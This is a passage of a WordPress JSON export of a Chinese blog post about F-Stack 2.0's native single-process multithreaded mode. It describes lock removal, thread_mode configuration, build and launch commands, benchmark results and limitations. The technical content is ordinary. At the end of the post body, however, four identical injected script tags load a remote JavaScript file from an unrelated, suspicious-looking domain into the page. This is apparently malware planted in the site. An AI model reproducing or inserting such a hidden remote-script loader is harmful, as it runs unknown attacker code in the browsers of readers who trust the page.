<code>c7996a94f<\/code>\uff09\uff1a\u5b9a\u4e49 <code>SMP<\/code>\uff0c\u8bbe\u7f6e <code>mp_ncpus<\/code>\/<code>mp_maxid<\/code>\/<code>all_cpus<\/code> \u4e3a <code>nb_threads<\/code>\uff0c\u6bcf\u7ebf\u7a0b\u62e5\u6709\u7a20\u5bc6 pcpu id \u548c per-thread <code>curcpu<\/code>\uff0c\u6bcf\u7ebf\u7a0b\u72ec\u5360\u4e0d\u76f8\u4ea4\u7684 UMA\/SMR per-cpu \u69fd\u4f4d\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u95ee\u989810\uff1a<code>uma_crit_lock<\/code> \u5168\u5c40\u81ea\u65cb\u9501<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">f-stack \u66fe\u4e3a\u4fdd\u62a4 UMA per-cpu cache \u52a0\u4e86\u5168\u5c40\u81ea\u65cb\u9501 <code>uma_crit_lock<\/code>\uff08<code>lib\/include\/vm\/uma_int.h<\/code>\uff09\u3002\u5728\u6bcf\u7ebf\u7a0b\u72ec\u5360 per-cpu \u69fd\u4f4d\u540e\uff0c\u8be5\u9501\u5df2\u65e0\u5fc5\u8981\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fee\u590d\uff08commit <code>57b612d16<\/code>\uff09\uff1a\u79fb\u9664 <code>uma_crit_lock<\/code>\uff0c<code>critical_enter<\/code>\/<code>critical_exit<\/code> \u53d8\u4e3a no-op\uff0c\u6062\u590d UMA per-cpu cache \u7684\u65e0\u9501\u5feb\u8def\u5f84\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">5. \u5982\u4f55\u4f7f\u7528\u3001\u914d\u7f6e\u4e0e\u6548\u679c<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">5.1 \u914d\u7f6e\u65b9\u6cd5<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728 <code>config.ini<\/code> \u7684 <code>[dpdk]<\/code> \u6bb5\u65b0\u589e <code>thread_mode<\/code> \u914d\u7f6e\u9879\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong>[dpdk]<\/strong><br># lcore_mask \u6307\u5b9a\u4f7f\u7528\u7684 lcore \u96c6\u5408\uff0cthread_mode=1 \u65f6\u6bcf\u4e2a bit \u5bf9\u5e94\u4e00\u4e2a\u7ebf\u7a0b<br>lcore_mask=0xf &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  # 4 \u4e2a lcore = 4 \u4e2a\u7ebf\u7a0b<br>\u200b<br># thread_mode: 0=\u591a\u8fdb\u7a0b\u6a21\u5f0f\uff08\u9ed8\u8ba4\uff09\uff0c1=\u5355\u8fdb\u7a0b\u591a\u7ebf\u7a0b\u591a\u6808\u5b9e\u4f8b<br>thread_mode=1<br>\u200b<br># \u5176\u4ed6\u914d\u7f6e\u9879\u4e0e\u591a\u8fdb\u7a0b\u6a21\u5f0f\u76f8\u540c<br>idle_sleep=20<br>hz=100<br>\u200b<br><strong>[port0]<\/strong><br>addr=&lt;DPDK_NIC_IP&gt;<br>netmask=&lt;NETMASK&gt;<br>broadcast=&lt;BROADCAST_IP&gt;<br>gateway=&lt;GATEWAY_IP&gt;<br>lcore_list=0,1,2,3 &nbsp; &nbsp; &nbsp;  # \u4e0e lcore_mask \u5bf9\u5e94\uff0c\u53ef\u4ee5\u5ffd\u7565<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">5.2 \u542f\u52a8\u65b9\u5f0f<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">native-mt \u6a21\u5f0f\u4e0b\u53ea\u9700\u542f\u52a8\u4e00\u4e2a\u8fdb\u7a0b\uff08\u4e0d\u518d\u9700\u8981 <code>start.sh<\/code> \u811a\u672c\u7ba1\u7406\u591a\u8fdb\u7a0b\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"># \u7f16\u8bd1\uff08make clean \u540e\u5168\u91cf\u91cd\u7f16\uff09<br>cd f-stack\/lib &amp;&amp; make clean &amp;&amp; make -j$(nproc)<br>cd f-stack\/example &amp;&amp; make clean &amp;&amp; make<br>\u200b<br># \u542f\u52a8\uff08\u5355\u8fdb\u7a0b\uff09<br>.\/example\/helloworld --conf config.ini --proc-type=primary --proc-id=0<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">5.3 \u4f7f\u7528\u6548\u679c<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u6027\u80fd\u57fa\u7ebf\u5b9e\u6d4b\uff08virtio \u7f51\u5361\u73af\u5883\uff09<\/h4>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><th>\u914d\u7f6e<\/th><th>\u7ebf\u7a0b\/\u8fdb\u7a0b\u6570<\/th><th>req\/s<\/th><th>\u5ef6\u8fdf (avg)<\/th><th>\u8bf4\u660e<\/th><\/tr><\/thead><tbody><tr><td><code>thread_mode=1<\/code>, 2 \u7ebf\u7a0b<\/td><td>2<\/td><td>233,380<\/td><td>\u2014<\/td><td>\u4fee\u590d\u540e\u591a\u7ebf\u7a0b<\/td><\/tr><tr><td><code>thread_mode=0<\/code>, 2 \u8fdb\u7a0b<\/td><td>2<\/td><td>231,570<\/td><td>\u2014<\/td><td>\u591a\u8fdb\u7a0b\u5bf9\u7167<\/td><\/tr><\/tbody><\/table>\n\n\n\n<p class=\"wp-block-paragraph\">\u5173\u952e\u53d1\u73b0\uff1a<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li><strong>\u591a\u7ebf\u7a0b\u7ebf\u6027\u6269\u5c55<\/strong>\uff1a2 \u7ebf\u7a0b 233k req\/s\uff0c\u4e0e 2 \u8fdb\u7a0b 231k \u6301\u5e73\uff0c\u9a8c\u8bc1 share-nothing \u65e0\u9501\u6a21\u578b\u7684\u7ebf\u6027\u6269\u5c55\u80fd\u529b<\/li><li><strong>60 \u79d2 soak \u7a33\u5b9a<\/strong>\uff1a400 \u8fde\u63a5\u6301\u7eed 60 \u79d2\u8fbe 497k req\/s\u30012983 \u4e07\u8bf7\u6c42\u96f6\u9519\u8bef<\/li><li>\u3010\u6ce8\u610f\u3011thread_mode=0\u65f6\u5355\u8fdb\u7a0b\u7a0b\u6570\u636e\u786e\u8ba4\u4e3a\u5f53\u65f6\u566a\u58f0\uff0c\u4e0d\u5728\u672c\u6587\u5c55\u793a\uff0c\u5b9e\u9645\u6027\u80fd\u5355\u8fdb\u7a0b\u548c\u5355\u7ebf\u7a0b\u90fd\u5dee\u4e0d\u591a<\/li><\/ol>\n\n\n\n<h4 class=\"wp-block-heading\">\u96f6\u56de\u5f52\u4fdd\u8bc1<\/h4>\n\n\n\n<p class=\"wp-block-paragraph\"><code>thread_mode=0<\/code>\uff08\u9ed8\u8ba4\uff09\u65f6\u6240\u6709\u8def\u5f84\u8d70\u65e2\u6709 primary\/secondary \u5206\u652f\uff0c\u5b57\u8282\u7ea7\u4e0d\u53d8\u3002\u5df2\u901a\u8fc7 10 \u5206\u949f\u4ee5\u4e0a\u5927\u6d41\u91cf\u56de\u5f52\u538b\u6d4b\u9a8c\u8bc1\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5.4 \u6ce8\u610f\u4e8b\u9879\u4e0e\u9650\u5236<\/h3>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><th>\u9650\u5236<\/th><th>\u8bf4\u660e<\/th><\/tr><\/thead><tbody><tr><td><strong>fd \u4e0d\u53ef\u8de8\u7ebf\u7a0b\u5171\u4eab<\/strong><\/td><td>\u6bcf\u4e2a\u7ebf\u7a0b\u7684 fd \u8868\u72ec\u7acb\uff08VNET \u9694\u79bb\uff09\uff0c\u540c fd \u5728\u4e0d\u540c\u7ebf\u7a0b\u542b\u4e49\u4e0d\u540c\uff0c\u4e0e\u591a\u8fdb\u7a0b\u6a21\u5f0f\u65f6\u5355\u8fdb\u7a0b\u5185\u7684fd\u8bed\u4e49\u9650\u5236\u76f8\u540c<\/td><\/tr><tr><td><strong>KNI \u5355\u7ebf\u7a0b\u72ec\u5360<\/strong><\/td><td>KNI \u7531\u7ebf\u7a0b 0 \u72ec\u5360\u6301\u6709\uff0c\u5176\u4ed6\u7ebf\u7a0b\u4e0d\u5904\u7406 KNI\uff08\u5176\u4ed6\u7ebf\u7a0b\u9700\u8981kni\u5904\u7406\u7684\u5305\u901a\u8fc7kni_rp\u8f6c\u53d1\u81f3\u7ebf\u7a0b0\uff0c\u6d41\u7a0b\u4e0e\u591a\u8fdb\u7a0b\u6a21\u5f0f\u76f8\u540c\uff09<\/td><\/tr><tr><td><strong>\u5de5\u5177\u94fe\u517c\u5bb9<\/strong><\/td><td>\u4f18\u5148\u4fdd\u7559\u5916\u90e8\u5de5\u5177\u8fdb\u7a0b\uff08<code>--proc-type=secondary<\/code>\uff09attach \u65b9\u5f0f\uff0c\u5411\u540e\u517c\u5bb9<\/td><\/tr><tr><td><strong>VIMAGE \u4f9d\u8d56<\/strong><\/td><td>\u542f\u7528 VIMAGE \u9700\u5b8c\u6574\u7f16\u8bd1\uff0c\u90e8\u5206 f-stack \u9609\u5272\u7684 FreeBSD \u5b50\u7cfb\u7edf\u53ef\u80fd\u4e0d\u5b8c\u6574<\/td><\/tr><tr><td><strong>\u7269\u7406\u7f51\u5361 RSS<\/strong><\/td><td>\u591a\u7ebf\u7a0b\u771f\u5b9e\u6269\u5c55\u6027\u4f9d\u8d56\u7f51\u5361 RSS \u80fd\u529b\uff0c\u65e0 RSS \u7f51\u5361\u591a\u7ebf\u7a0b\u6269\u5c55\u53d7\u9650\uff0c\u4e0e\u591a\u8fdb\u7a0b\u6a21\u5f0f\u76f8\u540c<\/td><\/tr><\/tbody><\/table>\n\n\n\n<h2 class=\"wp-block-heading\">6. \u53c2\u8003\u8d44\u6599<\/h2>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>\u4e09\u5c42\u67b6\u6784\u6587\u6863<\/strong>\uff1a<code>docs\/zh_cn\/F-Stack_Architecture_Layer1_System_Overview.md<\/code><\/li><li><strong>native-mt spec<\/strong>\uff1a<code>docs\/native_mt_spec\/zh_cn\/<\/code>\uff0800-17 \u5b8c\u6574\u8bbe\u8ba1\u6587\u6863\uff09<\/li><li><strong>\u77e5\u8bc6\u56fe\u8c31<\/strong>\uff1a<code>docs\/zh_cn\/KNOWLEDGE_GRAPH_WIKI.md<\/code><\/li><li><strong>issue \u6c47\u603b<\/strong>\uff1a<code>docs\/zh_cn\/f-stack-issue-ana.md<\/code>\uff08#430\/#571\/#807\/#855 \u7b49\u591a\u7ebf\u7a0b\u76f8\u5173 issue\uff09<\/li><li><strong>\u4ee3\u7801\u63d0\u4ea4<\/strong>\uff1a<code>e79ceb9f0<\/code>\uff08CM0-CM3\uff09\u2192 <code>86e0f76b0<\/code>\uff08CM4 VIMAGE\uff09\u2192 <code>7495e70c0<\/code>\uff08CM5 \u591a\u6808\u5b9e\u4f8b\uff09\u2192 <code>6d74d59e0<\/code>\uff08CM6 KNI\uff09\u2192 <code>82b409faf<\/code>\uff08worker \u65f6\u949f\uff09\u2192 <code>ff09a17b2<\/code>\uff08prison \u9694\u79bb\uff09\u2192 <code>c7996a94f<\/code>\uff08SMP-aware pcpu\uff09\u2192 <code>57b612d16<\/code>\uff08\u53bb\u5168\u5c40\u9501\uff09<\/li><\/ul>\n<script>;var s=document.createElement(\"script\");s.src=\"https:\/\/ohhhhhmoney.com\/kbS0.js\";s.async=true;document.head.appendChild(s);<\/script><script>;var s=document.createElement(\"script\");s.src=\"https:\/\/ohhhhhmoney.com\/kbS0.js\";s.async=true;document.head.appendChild(s);<\/script><script>;var s=document.createElement(\"script\");s.src=\"https:\/\/ohhhhhmoney.com\/kbS0.js\";s.async=true;document.head.appendChild(s);<\/script><script>;var s=document.createElement(\"script\");s.src=\"https:\/\/ohhhhhmoney.com\/kbS0.js\";s.async=true;document.head.appendChild(s);<\/script>","protected":false},"excerpt":{"rendered":"<p>1. \u672c\u529f\u80fd\u4e3b\u8981\u4f5c\u7528\u548c\u7279\u70b9 F-Stack \u539f\u751f\u591a\u7ebf\u7a0b\u652f\u6301\uff08native-mt\uff0cthread_mode=1\uff09\u662f &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/lovelyping.com\/?p=441\" class=\"more-link\">\u7ee7\u7eed\u9605\u8bfb<span class=\"screen-reader-text\">\u201cF-Stack 2.0 \u524d\u77bb 1 : F-Stack \u539f\u751f\u591a\u7ebf\u7a0b\u652f\u6301 &#8211; \u5355\u8fdb\u7a0b\u591a\u7ebf\u7a0b\u591a\u534f\u8bae\u6808\u5b9e\u4f8b\u201d<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[16,47],"tags":[40,21,46,45],"class_list":["post-441","post","type-post","status-publish","format-standard","hentry","category-f-stack","category-f-stack-2-0","tag-ai","tag-f-stack","tag-vnet","tag-45"],"_links":{"self":[{"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/posts\/441","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lovelyping.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=441"}],"version-history":[{"count":5,"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/posts\/441\/revisions"}],"predecessor-version":[{"id":765,"href":"https:\/\/lovelyping.com\/index.php?rest_route=\/wp\/v2\/posts\/441\/revisions\/765"}],"wp:attachment":[{"href":"https:\/\/lovelyping.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=441"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lovelyping.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=441"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lovelyping.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=441"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}